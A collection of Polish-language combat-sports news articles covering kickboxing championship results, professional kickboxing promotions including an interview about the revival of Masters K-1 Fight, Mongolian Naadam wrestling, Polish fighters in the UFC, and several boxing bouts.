Świetnie zaprezentowali się Polacy w prestiżowym turnieju WAKO Bestfighter World Cup w Rimini. Biało-czerwoni zdobyli aż osiemnaście medali. Dominowali w low-kicku, gdzie triumfowali w pięciu kategoriach. Złote medale padły łupem Iwony Nierody (56kg), Marty Waliczek (65kg), Mateusza Białeckiego (67kg), Łukasza Kaczmarczyka (71kg) i Patryka Zaborowskiego (91kg). Pierwsze miejsce w full contact zajął Kacper Frątczak, co było dużym osiągnięciem dla młodziana startującego w kategorii 81kg. W kick light triumfował Piotr Wypchał (94kg).

Nasza młodzież miała szanse walczyć o medale podczas mistrzostw Europy kadetów i juniorów w San Sebastian. Młode pokolenie przywiozło z Hiszpanii sześć krążków. Mistrzami globu zostali: Piotr Stępień (42kg), Weronika Nowak (60kg) oraz Klara Piętak (65kg).

W październiku w Belgradzie odbyły się mistrzostwa świata w K-1, low-kick i kick light. Polacy łącznie wywalczyli 22 medale, z czego osiem miało złoty kolor. Biało-czerwoni zajęli trzecie miejsce w klasyfikacji medalowej. Mistrzami świata w kick light zostali: Dorota Godzina (55kg), Paulina Jarzmik (60kg), Mateusz Jereczek (89kg), Piotr Wypchał (94kg) i Michał Bławdziewicz (+94kg). Dwie panie triumfowały w low kicku – Iwona Nieroda (56kg) i Marta Waliczek (60kg). Najlepsza w K-1 +70kg okazała się Paulina Bieć.

Kilka tygodni po rywalizacji w Belgradzie nadszedł czas na podróż do Dublina, gdzie odbyły się mistrzostwa świata w pointfighting, full contact oraz light contact. Trójka naszych reprezentantów sięgnęła po mistrzowskie laury. Sukces z Belgradu powtórzyły Godzina i Jarzmik, z tym że w light contact. W full contact mistrzem świata został Mateusz Kubiszyn w kategorii 86kg. W Dublinie Polacy zdobyli dwanaście medali.

Arena, a wokół niej widzowie

Coraz więcej zawodowych gal. Nasi zawodnicy próbują swoich sił poza granicami kraju. Polacy zapraszani są na gale King of Kings, Superkombat czy Enfusion, jednak u nas też nie mogą narzekać na brak ciekawych propozycji.

Grupa DSF mocno zaakcentowała swój udział w rynku sportów walki. Ciekawa formuła gal, w której rozgrywane są turnieje w poszczególnych kategoriach wagowych oraz mecze międzypaństwowe. Grupa DSF zaprezentowała ciekawy produkt i wypromowała wielu zawodników. Nazwiska Godziny, Wichowskiego czy Paczuskiego są coraz bardziej rozpoznawalne, a przede wszystkim kojarzone z kickboxingiem. Warto nadmienić, że ważnym ogniwem grupy DSF Kickboxing jest legenda tej dyscypliny w Polsce – Piotr Siegoczyński, która odpowiada za stronę czysto sportową. W tym roku do skutku nie doszło gala w Płocku z powodu wycofania się strategicznego sponsora, jednak grupa zorganizowała widowiska w Ząbkach, Włocławku, Warszawie.

Kickboxing w swojej ofercie ma również organizacja Fight Exclusive Night, która proponuje również pojedynki MMA. Mocnym akcentem na polskim rynku może okazać się reaktywacja Masters K-1 Fight. Grupa ma poważne plany. – W Polsce trzeba przywrócić zawodowy kickboxing na należne mu miejsce. Z zadowoleniem patrzymy na renesans tej szlachetnej dyscypliny w naszym kraju jednak jeszcze daleka droga do tego, aby mówić o pełnym profesjonalizmie – zapowiada Anna Lazur, oficer prasowy Masters K-1 Fight.

KM

Król królów powraca

King of Kings stara się dostarczyć fanom kickboxingu z Europy Środkowo-Wschodniej walki na najwyższym poziomie. W 2016 roku organizacja zaprezentuje próbkę swoich możliwości w Warszawie.

Będzie to powrót King of Kings do Polski. W Warszawie odbędzie się event zamykający 2016 rok w wykonaniu organizacji.

Czy podbiją Warszawę?

To nie będzie pierwsza gala King of Kings w Polsce. Organizacja stara się regularnie organizować swoje eventy nad Wisłą, gdyż jest to dla niej ważny rynek. Otwarcie przyznaje to Donatas Simanaitis, prezydent IBF. Z tym, że jak to bywa w przypadku miłości – nie zawsze jest odwzajemniana. King of Kings chce zdobywać serca Polaków, jednak różnie z tym bywa.

W 2014 roku organizacja gościła w Polsce dwukrotnie, jednak nie było idealnie. Podczas jesiennej gali w gdańsko-sopockiej Ergo Arenie trybuny nie pękały w szwach. Dlaczego? Być może problemem było zbyt słabe rozreklamowanie gali. Kibice w Polsce coraz bardziej fascynują się kickboxingiem. Dodatkowo jesteśmy jedną z czołowych europejskich potęg. Z mistrzowskich imprez wracamy z workami wypchanymi medalami, więc wszystkie warunki ku temu, aby kickboxing królował w Polsce są spełnione.

King of Kings po raz kolejny spróbuje podbić serca fanów nad Wisłą. W 2014 roku w Ergo Arenie nie brakowało ciekawych nazwisk. Wystąpił Sergei Morari, czyli zawodnik, który w tym roku triumfował w turnieju 77kg w Kiszyniowie. Sergei Lascenko w Ergo Arenie okazał się najlepszy w rywalizacji wagi ciężkiej. W finale Ukrainiec znokautował Tomasza Szczepkowskiego. Nie zabrakło również polskich gwiazd – Radosława Paczuskiego, Michała Turyńskiego czy doświadczonego Przemysława Ziemnickiego. W 2014 roku King of Kings zorganizował również galę w Płocku. Kibice zgromadzeni w Orlen Arenie w akcji mogli zobaczyć Chrisa Bayę, Maxa Rolla, Mateusza Kopca czy Roberta Rajewskiego.

Wydarzenia te cieszyły się umiarkowaną popularnością. Być może teraz będzie inaczej. King of Kings wraca do Warszawy, gdzie po raz ostatni gościła w 2010 roku. Tym razem organizacja zamknie pracowity rok w stolicy Polski. Galę zaplanowano na 10 grudnia.

Gdzie jeszcze?

KOK pierwsze wydarzenie zaplanowało na 27 lutego. W Rydze odbędzie się ośmioosobowy turniej wagi lekkiej. Z kolei 9 kwietnia w Kiszyniowie zostaną rozegrane półfinały i finały rywalizacji. Prawdopodobnie w akcji zobaczymy Mateusza Kopca.

Organizacja zawita również do Berlina, Tallina, Kiszyniowa, Wilna i na Cypr. W 2016 KOK planuje zorganizowanie dziesięciu gal. Na pewno nie zabraknie w nich Polaków, którzy regularnie prezentują się na eventach King of Kings. Na zakończenie 2015 roku w Kiszyniowie pojawiło się dwóch Polaków. Niestety, Jacek Olkuski i Tomasz Kowalski ponieśli porażki.

KM

IT`S SHOW TIME – Masters K-1 Fight – REAKTYWACJA!!!

Święta Bożego Narodzenia to radosna nowina tak też można nazwać informację o reaktywacji Masters K-1 Fight. Ta legendarna polska grupa promotorska swoje pierwsze kroki stawiała na początku lat 90` a na jej czele stał nie kto inny jak Andrzej Palacz ikona polskiego kickboxingu a obecnie prezes Polskiego Związku Kickboxingu. Nie można w tym miejscu nie wspomnieć o drugiej osobie, która współtworzyła grupę o Marku Fryszu.

Już dziś każdy z nas ma dreszczyk emocji wiedząc, że Masters K-1 Fight powraca na mapę zawodowego kickboxingu. Gale tej grupy przez lata były obecne na otwartej antenie telewizji Polsat oraz TVP. Gościli także na antenie Polskiego Radia opisywani przez Przegląd Sportowy czy Super Express. Obecny Masters K-1 Fight to także pierwsza w historii polskiego kickboxingu gala K-1, która odbyła się w 2004 r. (pierwsza gala kickboxingu została zorganizowana przez tę grupę promotorów w 1991 r.).

Masters K-1 Fight to przede wszystkim powrót do tradycji i korzeni zarówno w ujęciu sportowym jak i organizacyjnym. Zapowiada się rewolucja w polskim kickboxingu i to w dosłownym słowa znaczeniu.

W rozmowie z oficerem prasowym grupy promotorskiej Masters K-1 Fight – Anną Luzar: „…w Polsce trzeba przywrócić zawodowy kickboxing na należne mu miejsce. Z zadowoleniem patrzymy na renesans tej szlachetnej dyscypliny w naszym kraju jednak jeszcze daleka droga do tego, aby mówić o pełnym profesjonalizmie. To co się obecnie dzieje dzięki kilku federacjom zmierza oczywiście do stworzenia czegoś na wzór znanych w Polsce federacji MMA, jednak zbyt dużo w tym naśladowstwa a zbyt mało stworzenia czegoś własnego co pozwoli się wyróżnić na rynku. Kickboxing w zawodowym wydaniu potrzebuje nowej jakości przede wszystkim pod kątem organizacji gal ale także daleko idących zmian organizacyjnych…”

Zapytaliśmy zatem czym właściciele grupy promotorskiej Masters K-1 Fight chcą zaskoczyć kibiców w Polsce, na czym maja polegać zmiany i czym chcą się wyróżnić: „…Tak przede wszystkim mamy pomysł na działalność grupy, pomysłodawcy pracują nad projektem od blisko 18 miesięcy dlatego też teraz podjęliśmy decyzję o upublicznieniu tej informacji. Czym chcemy zaskoczyć kibiców, sądzimy, że nie tyle zaskoczyć co pokazać zupełnie inną organizację gal. Jesteśmy już w zasadzie w przed dzień podpisania umowy z jednym z samorządów w Polsce, który wyraził zainteresowanie goszczenia nas u siebie. Wiąże się to przede wszystkim ze stałą współpracą ze stabilnym Partnerem oraz co istotne możliwością organizacji gal w dużej, profesjonalnej hali sportowej, która na co dzień gości przedstawicieli ekstraklasy innej dyscypliny…”.

Ale padło pytanie o zmiany, na czym mają one polegać? To chyba kluczowe pytanie, które zainteresuje naszych widzów: „…Zmiany, zmiany i jeszcze raz zmiany to oczywiście nie tylko słowa ale konkretne zadania jakie postawiliśmy sobie do realizacji. Pierwszymi i podstawowymi elementami podlegającymi rzeczonym zmianom są: transparentność w doborze zawodników, wynagrodzenie dla zawodników za wystąpienie na naszych galach, organizacja gal w zupełnie innym stylu aniżeli się to odbywa na dzień dzisiejszy. Szybko omawiając wskazane zmiany podkreślić chcemy charakter sportowy naszych gal, dlatego też dobór zawodników będzie tylko i wyłącznie na podstawie aktualnych rankingów prowadzonych przez Polski Związek Kickboxingu oraz WAKO, zatem nie dojdzie u nas do spotkania zawodników przypadkowych. Zawodnicy będą walczyć tylko i wyłącznie o pasy PZKB i nie widzimy potrzeby tworzenia własnych pasów, które w ujęciu sportowym i żargonie zawodników są nazywane „paskami do spodni”. Przechodząc do organizacji gal jako eventów nie chcemy na razie za dużo zdradzać, ale na pewno odejdziemy od modelu amerykańskiego gdzie pierwszą rolę grają światła, muzyka i tzw. show, oczywiście te elementy będą, jednak nie mogą być wiodące. Jednym słowem na tym etapie zdradzić możemy tylko, że idziemy mocno w historię a reszta niech będzie tajemnicą bo bez tego nie będzie elementu zaskoczenia. Teraz kwestia wynagrodzeń, niestety krążą na rynku różne legendy o zarobkach zawodników podczas gal i chcemy to zmienić, system opłacania zawodników występujących na galach będzie z jednej strony bardzo przejrzysty a z drugiej sądzimy, że bardzo atrakcyjny w porównaniu z dotychczasowymi realiami.

Wygląda to bardzo interesująco i intrygująco jednak powstaje pytanie, skoro pracowali Państwo nad projektem blisko czy ponad 18 miesięcy co udało się już załatwić a nad czym będą Państwo pracować dalej lub czego nie udało się jeszcze załatwić: „…Oczywiście czas wydaje się długi, jednak podejście do biznesu mamy typowo systemowe: musiał powstać plan działania, dobór ludzi, biznes plan, następnie pozyskanie partnerów w postaci telewizji, samorządu, sponsorów, reklamodawców etc., wiele z tych działań jest jeszcze procedowanych i na tym etapie rozmowy więcej powiedzieć nie możemy.

Jeszcze ciekawej to zaczyna wyglądać i rzeczywiście profesjonalnie więc można wnioskować, że mają państwo telewizję, która będzie transmitować gale, mają Państwo sponsorów, reklamodawców i samorząd, pozostaje tylko zorganizować galę: „…Tak jak zawsze w rozmowie czy na papierze wszystko wygląda interesująco i ciekawie, jak wspomnieliśmy wiele rzeczy jest jeszcze w fazie rozmów, negocjacji mniej lub bardziej zaawansowanych. Na te chwilę tak możemy potwierdzić, że podpisaliśmy już umowę z telewizją, jesteśmy w przed dzień zamknięcia sprawy z obiektem sportowym i zapleczem socjalnym. Sponsorzy i reklamodawcy to jak zawsze temat otwarty i bardzo płynny więc możemy tylko potwierdzić, że tak z wieloma podmiotami prowadzimy negocjacje mniej lub bardziej zaawansowane. Taki projekt to też obecność patronów medialnych, których już mamy wielu a każdego tygodnia przybywa kilku nowych co tylko napawa nas optymizmem na przyszłość.

Cóż, tym miłym akcentem chcemy podziękować za rozmowę i życzymy powodzenia na przyszłość. Czekamy ze zniecierpliwieniem na start projektu a Naszych widzów zapraszamy do śledzenie naszego FanePage na FaceBook – https://www.facebook.com/FighTimeTV/ tam będą pojawiać się szczegóły dalszej działalności starego – nowego Masters K-1 Fight.

Zapasy w świątecznym klimacie

Rychło zbliża się czas Świąt Bożego Narodzenia. W naszej kulturze jest to wyjątkowy czas spotkań z rodziną i przeżywania wspólnie tego czasu. Jak mawiał klasyk, „co kraj to obyczaj”. Wybierzmy się w podróż do Mongolii, gdzie szczególną popularnością cieszą się zapasy.

Mongołowie w lipcu świetnie bawią się przez trzy dni. Od 11 do 13 lipca odbywa jedno z głównych świąt państwowych, a zarazem festiwal sportowy – Naadam.

Test na męstwo

Główne uroczystości Naadam odbywają się w Ułan Bator. Korzeni święta należy upatrywać już za czasów Hunów, jednak w obecnym kształcie zaistniało ono za czasów Czyngis-chana. Pierwotnie służyło ukazaniu waleczności wojowników oraz zaprezentowaniu radości po zwycięskiej bitwie. Od 1922 roku impreza przeprowadza jest w dniach 11-13 lipca.

Można uznać, że jest to święto sportu. W Ułan Bator jest jakby centrum imprezy. Festiwale Naadam odbywają się w stolicach pozostałych ajmaków (jednostka podziału terytorialnego) oraz powiatach. Zawodnicy rywalizują w trzech dyscyplinach: zapasach, łucznictwie oraz wyścigach konnych.

Należy podkreślić, że w zapasach mogą startować tylko panowie. Mężczyźni rywalizują bez podziału na kategorie wagowe. W zmaganiach bierze udział 512 zawodników, którzy ubrani są w tradycyjne stroje. Zapaśnik ma na sobie wysokie buty, okrycie ramion i barków oraz niewielkie majtki. Ważnym atrybutem zawodnika jest spiczasta czapka, która posiada dwie czerwone wstęgi. Nakrycie zakłada się przed i po walce, a na wstęgach znajdują się złote paski – jest to informacja o liczbie zwycięstw. Sama walka ma w sobie aurę wyjątkowości. Zawodnik przed rozpoczęciem pojedynku odbywa taniec, modli się i dotyka ziemi z nadzieją na pozyskanie mocy. Rywalizacja pozbawiona jest brutalności, nie ma w niej uderzeń. Zapaśnicy łapią się za majtki bądź nakrycia, aby dokonać przewrócenia swojego rywala. Zwycięzca wykonuje rytualny taniec orła. Ten, kto wygra pięć walk otrzyma tytuł „Sokoła”. Siedem zwycięstw nadaje miano „Słonia”, zaś dziewięć „Lwa”.

Naadam pokazuje kulturę mongolską i zarazem jest oddaniem hołdu tradycji. Zapasy odgrywają tu szczególną rolę. Mongołowie są jedną z czołowych ekip w tej dyscyplinie na świecie.

Przez tradycję do medali

Wydaje się, że jest swego rodzaju metoda popularyzacji sportu i aktywności. Rzecz jasna, że Mongolia to zupełnie inna kultura i zwyczaje, ale warto zwrócić uwagę na wierność tradycji. Naadam to po prostu zabawa, ale jakże ciekawa i łącząca wiele elementów.

Mongolia może pochwalić się dobrym wynikami na zapaśniczych matach. Na ostatnich mistrzostwach świata w Las Vegas mongolscy zawodnicy zajęli siódme miejsce w klasyfikacji medalowej. Mistrzynią świata kategorii 63kg w stylu wolnym została Sorondzonboldyn Batceceg, która ma na swoim koncie brązowy medal Igrzysk Olimpijskich w Londynie. Do Rio de Janeiro również jedzie po medal.

W Las Vegas po brąz sięgnął Batboldyn Nomin w kategorii 61kg w stylu wolnym, a także Pürewdżawyn Önörbat w 74kg. Dużą nadzieją mongolskich zapasów jest Sücheegijn Cerenczimed. 20-latka startuje w kategorii 60kg w stylu wolnym. Na swoim koncie ma już tytuł mistrzyni świata w Taszkiencie. W Las Vegas zajęła drugie miejsce.

Zapewne można by oczekiwać więcej, ale widzimy tu pewien ciąg przyczynowo-skutkowy. Jeśli poświęca się uwagę określonej dyscyplinie to pojawią się wyniki. Wystarczy chcieć. A święto Naadam w Mongolii to swego rodzaju zjawisko. Z jednej strony integracja społeczeństwa, a zarazem troska o tradycję, historię oraz rozwój sportowy.

Fot. commons.wikimedia.org

KM

Trzech muszkieterów rusza do Londynu

W październiku do Londynu ze swoją galą zawitała organizacja KSW. Niebawem w stolicy Anglii zaprezentuje się UFC. Na kolejnej gali najlepszej organizacji mieszanych sztuk walki na świecie wystąpi trzech polskich fighterów.

Nie zatrzymujemy się ani na chwilę. Podążając za UFC można poznać praktycznie cały świat. Amerykańska organizacja gościła już w Krakowie, Berlinie, ostatnio w Orlando i podąża dalej. 27 lutego w Londynie odbędzie się gala UFC Fight Night 83.

Jotko czeka na nokaut

Po raz piąty w UFC zaprezentuje się Krzysztof Jotko. 26-letni zawodnik wagi średniej niedawno wrócił do oktagonu po kontuzji ręki, której nabawił się w marcu. Uraz uniemożliwił mu udział w gali UFC w Krakowie. Na kolejny występ Polak musiał czekać ponad pół roku. Wrócił i zaprezentował się w Dublinie. W październiku niejednogłośnie na punkty pokonał Scotta Askhama. Jotko mógł cieszyć się ze zwycięstwa, ale zapewne był pełen obaw. 26-latek musiał liczyć się z kolejną przerwą z powodu kontuzji lewej ręki. Początkowo mówiło się, że zawodnika czeka półroczna przerwa, jednak po dokładnych badaniach wykluczono złamanie kończyny. Jotko mógł odetchnąć.

Kolejną szansę na zaprezentowanie swoich umiejętności Jotko dostanie już w lutym. W Londynie zmierzy się ze Bradley’em Scottem. Dla 26-letniego Anglika będzie to również piąty pojedynek w UFC. Do tej pory rywalizuje ze zmiennym szczęściem. W ostatnim pojedynku rozprawił się z Dylanem Andrewsem, jednak wcześniej przegrał z Claudio Henrique da Silvą. Warto zauważyć, że w UFC Scott przegrywa przez decyzje sędziów, a wygrywa dzięki skutecznej gilotynie. W swojej karierze jeszcze nigdy nie odniósł zwycięstwa na punkty. Z kolei Jotko do tej pory w UFC wygrywał tylko przez decyzje sędziów. W swojej karierze Polak zanotował tylko jedną porażkę. Na gali UFC Fight Night 41 Magnus Cedenblad wykonał skuteczną gilotynę i Jotko musiał przełknąć gorycz porażki.

Ostatnia szansa

Tak może być w przypadku Łukasza Sajewskiego, który występuje w wadze lekkiej. Popularny „Wookie” miał pojawić się w UFC już w 2014 roku, jednak kontuzja opóźniła jego debiut w amerykańskiej organizacji. Sajewski pojawił się na gali UFC Fight Night 69, ale przegrał z Nickiem Heinem. Włodarze organizacji są bezlitośni. Kolejna porażka może oznaczać dla Polaka koniec przygody z UFC. W Londynie Sajewski zmierzy się z Teemu Packalenem. Fin również ma za sobą jedną walkę w UFC, również przegraną. Warto nadmienić, że Packalen w swojej karierze zanotował siedem zwycięstw. Wszystkie pojedynki rozstrzygnął na swoją korzyść przed czasem.

33-letni Daniel Omielańczuk w Londynie stanie naprzeciw Jarjisa Danho. Zawodnik z Syrii nie przegrał jeszcze w karierze. Walka z Omielańczukiem będzie jego debiutem w UFC. 33-letni Polak występujący w wadze superciężkiej stanie przed kolejnym wyzwaniem. Można powiedzieć, że Omielańczuk dzięki wygranej z Chrisem de la Rochą uratował swoją głowę w UFC. Zarazem Polak pokazał, że potrafi być efektowny. W czterdzieści  osiem sekund odprawił swojego rywala. Danho ma materiał do przemyśleń, a Omielańczuk powinien pójść za ciosem.

Na koniec zajrzyjmy do kieszeni Karoliny Kowalkiewicz. Polka w swoim debiucie w UFC poradziła sobie z Randą Markos. Na konto zawodniczki z Łodzi wpłynęło 26 tysięcy dolarów.

KM

Zwycięski wyjazd Dudka

Rafał Dudek zdobył Antwerpię. Polski kickbokser odniósł zwycięstwo na gali Enfusion 35.

Polak po występie na gali DSF Kickboxing Challenge 6 w Ząbkach, gdzie pokonał Eugene'a Matiushonoka, ruszył w świat. Dudek w Antwerpii zmierzył się z Youssefem El Hajim.

Nie czekał na sędziów

Reprezentujący barwy Fight House Nowy Sącz jest czołowym zawodnikiem wagi lekkiej w Polsce. Teraz próbuje swoich sił w organizacji Enfusion. Dudek zdał pierwszy test, a jego przygoda nabierze tempa. Zapewne ważnym doświadczeniem dla Polaka będzie udział w reality show Enfusion. Dudek w styczniu uda się do Tajlandii, aby tam doskonalić swój warsztat.

Gdzieś z tyłu głowy Polak miał świadomość swojego występu podczas gali Superkombat World Grand Prix Final w Bukareszcie. Dudek zmierzył się tam z Cristianem Mileą. Polski fighter był aktywny i sprawił Rumunowi wiele problemów. Milea nie potrafił niczym zaskoczyć Dudka, a mimo to wygrał na punkty. Zawodnik Fight House Nowy Sącz wysunął wnioski z podróży do Bukaresztu i w Antwerpii robił wszystko, aby rozstrzygnąć walkę na swoją korzyść w regulaminowym czasie. W pierwszej rundzie El Hajim zobaczył, że będzie musiał wspiąć się na wyżyny, żeby zagrozić rywalowi. Polak rozdawał karty. Prawdziwy popis dał w drugiej rundzie. Marokańczyk był bezradny i z bliska zapoznał się z deskami. Wstawał, próbował, jednak Dudek był zdecydowanie lepszy. Potężne ciosy robiły wrażenie na El Hajim. Sędzia liczył Marokańczyka aż trzy razy i w podjął decyzję o zakończeniu pojedynku. Ręce Dudka powędrowały w górę.

Na gali Enfusion odbyły się dwie mistrzowskie walki. Rachida Bouhout straciła pas na rzecz Anke van Gestel w kategorii 64kg. Warto dodać, że Belgijka dzierży w swoich dłoniach tytuł najlepszej zawodniczki w kategorii 61kg. Ismael Lazaar potwierdził swoją dominację w wadze ciężkiej. Marokańczyk już w pierwszej rundzie zastopował zapędy Andrew Thomsona.

Bez radości w Kiszyniowie

Na gali King of Kings w Mołdawii zaprezentowało się dwóch polskich zawodników, jednak nie będą mieli miłych wspomnień. Udany powrót po przerwie zaliczył Alexandr Surcov. Niestety kosztem Tomasza Kowalskiego, który musiał uznać wyższość Rosjanina. Początek starcia dla Polaka, który atakował kombinacjami bokserskimi i niepokoił rywala low kickami. W drugiej rundzie pojedynek wyrównał się, a w trzeciej rozpoczęła się prawdziwa bitwa. Sędziowie nie byli jednogłośni, ale wskazali na Surcova.

W kategorii 71kg Jacek Olkuski spotkał się z Alexandrem Prepelitą. Pierwsza runda wyrównana, jednak jeden z ciosów Mołdawianina zrobił wrażenie na Polaku. Z czasem zaznaczała się coraz większa przewaga Prepelity. Olkuski starał się odpowiadać, jednak bezskutecznie. Polak dotrwał do końca, ale sędziowie wskazali na zawodnika gospodarzy.

W finale turnieju kategorii 77kg triumfował Sergei Morari. Mołdawianin pokonał na punkty Robina Zobina. W walce o pas mistrzowski w kategorii 85kg triumfował Constantin Tutu. Mołdawian na punkty pokonał Igora Lyapina. Pojedynek wyrównany, jednak w drugiej rundzie Tutu posłał rywala na deski mocnym sierpem.

KM

Punkty na korzyść Kowalkiewicz

Pierwszy występ w najlepszej organizacji mieszanych sztuk walki na świecie to ogromne nerwy. Karolina Kowalkiewicz poradziła sobie z presją. Polka spędziła w oktagonie trzy rundy podczas gali UFC on Fox 17, po których sędziowie podjęli korzystną dla niej decyzję.

Zawodniczka z Łodzi udanie rozpoczęła swoją przygodę z UFC. To kolejna Polka, która rywalizuje w wadze słomkowej. Niepodzielnie rządzi i panuje w tej kategorii Joanna Jędrzejczyk. Czy z biegiem czasu dojdzie do polskiego pojedynku na szczycie? Brzmi niezwykle interesująco.

Nie bała się uderzać

Zmiana klimatu może niekorzystnie podziałać na zawodnika. Nie chodzi o warunki pogodowe, lecz skalę przedsięwzięcia. Kowalkiewicz nie ugięła kolan przed pierwszy występem w UFC, w którym to zmierzyła się z Randą Markos. Z pewnością cennym doświadczeniem była jej wcześniejsza walka na gali Invicta 9.

W starciu z Markos Kowalkiewicz prezentowała swoje atuty i nie pozwoliła rywalce rozwinąć skrzydeł, choć było gorąco. Kanadyjka za wszelką cenę szukała klinczu, jednak Polka skutecznie powstrzymywała jej zapędy. Od początku starcia dominowała stójka i wymiana ciosów. Markos w końcu osiągnęła swój cel i złapała Polkę pod siatką. Kanadyjka miała komfortową sytuacją, żeby osłabić swoją rywalkę, jednak 30-letnia zawodniczka w Łodzi poradziła sobie z naporem przeciwniczki. Walka wróciła na środek oktagonu, a Polka zakończyła pierwszą rundę mocnym prawym prostym.

Druga odsłona wymagała od Kowalkiewicz wiele odporności. Początkowo Polka dobrze sobie radziła i słała w stronę Markos kombinacje ciosów. Kanadyjka wiedziała, że zaczynają się problemy, dlatego też ponownie szukała możliwości klinczu. Markos znalazła się za plecami 30-latki z Łodzi i dążyła do efektownego poddania w stójce, jednak ostatecznie pojedynek przeszedł do parteru. Polka musiała przetrwać napór Kanadyjki, która dominowała i mogła zrobić praktycznie wszystko. Kowalkiewicz dotrwała do gongu oznajmiającego koniec rundy. Trzecia odsłona rozpoczęła się podobnie jak druga- od uderzeń Kowalkiewicz. Polka niepokoiła co i raz rywalkę ciosami w stójce. Kanadyjka ponownie klinczowała, jednak tym razem sytuacja rozwinęła się na korzyść Polki. Pojedynek przeszedł do parteru, Kowalkiewicz znalazła się na górze i obijała swoją oponentkę. Sędzia bacznie przyglądał się sytuacji, jednak Markos udało wrócić się do stójki. Kanadyjka dotrwała do końca, jednak werdykt jej nie zadowolił. Wszyscy sędziowie byli zgodni i punktowali 30-27, 29-28, 29-28 na korzyść Kowalkiewicz.

Szybki dos Anjos

Nieco ponad minutę trwała walka wieczoru UFC on Fox 17. W wadze lekkiej Rafael dos Anjos nie pozostawił żadnych złudzeń Donaldowi Cerrone. Brazylijczyk mocnym kopnięciem na wątrobę osłabił swojego rywala i zasypał go ciosami pod siatką. Cerrone przetrwał napór, wrócił na środek, ale po chwili nie był w stanie walczyć dalej. Dos Anjos zalał go serią ciosów.

W drugiej rundzie Alistair Overeem zastopował Juniora dos Santosa. Walka nie była efektowna. Dopiero w końcówce drugiej rundy coś drgnęło. Holender mocnym sierpowym zrobił wrażenie na dos Santosie, a potem ciosami zaznaczył swoją wyższość. Overeem wygrał po raz czterdziesty w karierze.

KM

Brodnicka mistrzynią Europy

Podczas gali w Łomiankach Ewa Brodnicka sięgnęła po tytuł mistrzyni Europy w wadze lekkiej. Polka na punkty pokonała Elfi Philips.

Tym samym 31-letnia bokserka zapisała na swoim koncie dziesiąte zwycięstwo w karierze. W tym roku stoczyła cztery pojedynki, z których jeden to długo wyczekiwane starcie z Ewą Piątkowską o prymat najlepszej pięściarki w kraju.

Liczy się zwycięstwo

Trudno powiedzieć, żeby pojedynek Brodnickiej z Philips zwalał z nóg. Po prostu Polka zrobiła swoje, wygrała i może cieszyć się z wywalczenia tytułu mistrzyni Europy. Od początku walka była pełna nerwowości i niedokładności. Obie panie chciały dyktować warunki, jednak żadna z nich nie potrafiła zdominować rywalki. Brodnicka potrzebowała trochę czasu, aby złapać właściwy rytm, jednak Belgijka nie próżnowała. Philips wyprowadzała wiele chaotycznych ciosów, z których niewiele dochodziło do celu. Brodnicka doszła do głosu w czwartej odsłonie. Właśnie wtedy wyprowadziła kilka celnych uderzeń i zaznaczyła swoją przewagę. Polka weszła na właściwe obroty i choć Philips była aktywna to nie potrafiła jej zagrozić. Brodnicka miała wszystko pod kontrolą, stąd nie dziwi jednogłośny i zdecydowany werdykt sędziów. Arbitrzy punktowali 98:92, 98:93, 98:93 na korzyść Brodnickiej.

Po przerwie na ring wróciła Karolina Łukasik. Polka dopisała do swojego bilansu kolejne zwycięstwo. Na punkty zdecydowanie pokonała Borislavę Goranovą. Drugie zwycięstwo w karierze zanotowała Sasza Sidorenko. 29-latka okazała się zdecydowanie lepsza od Kariny Kopińskiej i wygrała jednogłośnie na punkty. Zaledwie osiemdziesięciu sekund potrzebował Nikodem Jeżewski, aby pozbawić złudzeń Wladimira Letra. Z wygranej cieszy się również Robert Parzęczewski, który na punkty okazał się lepszy od Beli Juhasza. W pierwszej rundzie walkę na swoją korzyść rozstrzygnął Adam Balski. Polak pokonał Arstioma Hurbo.

Ortiz po mistrzowski

Przenieśmy się teraz do Verony, gdzie doszło do pojedynku Luisa Ortiza z Bryantem Jenningsem. Amerykanin przeżywał w ringu trudne chwile.

Jeszcze nie tak dawno Jennings zapowiadał, że zdetronizuje Wladimira Kliczko, jednak ta sztuka nie powiodła się. W kolejnej walce Amerykanin chciał pokazać, że liczy się w wadze ciężkiej, jednak przeliczył się. Od początku był aktywny i ruszył na Ortiza, ale Kubańczyk szybko sprowadził go na ziemię. Kilka mocnych ciosów „King Konga” zachwiało Jennigsem, który klinczem ratował się przed upadkiem na deski. Dotrwał do końca pierwszej rundy i w kolejnej odsłonie wrócił do walki.

Amerykanin próbował, jednak Ortiz skutecznie go punktował. Tak jak w trzeciej odsłonie, kiedy to po lewym sierpowym Jennings ponownie się zachwiał. Kubańczyk zyskał kontrolę nad pojedynkiem i obnażał wszystkie słabości rywala. W siódmej rundzie doszło do finału. Ortiz lewym podbródkowym posłał Amerykanina na deski. Ten wstał, chwiał się na nogach, ale walczył. Bezskutecznie. Jennings przyjmował kolejne ciosy i sędzia w końcu przerwał pojedynek. Ortiz od początku do końca rozegrał walkę po mistrzowsku.

KM

Robi się głośno

Nie ważne jak, byle mówili. Z takiego założenia wychodził Tyson Fury, który zakończył dominację Władimira Kliczko w kategorii królewskiej. Wygląda na to, że inną drogą podąża Anthony Joshua. Kariera 26-latka z Watfordu postępuje zgodnie z myślą – cicho jedziesz, dalej zajedziesz.

Wygląda na to, że Joshua jest w pełni skoncentrowany na boksie. Wchodzi do ringu i robi swoje. To najlepsza droga na szczyt. Doskonalenie własnych umiejętności przy maksymalnym skupieniu się na tym, co najważniejsze. Warto dodać, że Joshua nie jest typem showmana jak Fury, ale robi się o nim coraz głośnej.

Angielska wersja Wildera

Kto nie kojarzy Deontaya Wildera? Teraz chyba już wszyscy. Amerykanin nie dawno uszczęśliwił fanów w swoim kraju i zdobył tytuł mistrza wagi ciężkiej WBC. Znalazł się na ustach wszystkich. Teraz jest pod baczną obserwacją fanów z Polski, bo 16 stycznia zmierzy się w obronie pasa z Arturem Szpilką. Na wszystkich wrażenie robi bilans Wildera. Mistrz świata nie przegrał ani razu i tylko jedną walkę wygrał przez decyzję sędziów. Pozostałe trzydzieści cztery pojedynki rozstrzygnął przed czasem. Wynik imponujący. Podobny, choć mniejszy, rekord śrubuje Anthony Joshua.

26-latek piętnaście razy zaprezentował się na zawodowym ringu. Wszystkie pojedynki rozstrzygnął przed czasem, jednak widać, że nie lubi spędzać na arenie walki zbyt wiele czasu. Tylko Dillian Whyte zdołał przetrzymać Joshuę w ringu dłużej niż trzy rundy. Na rozprawienie się z urodzonym na Jamajce bokserem Brytyjczyk potrzebował siedmiu odsłon.

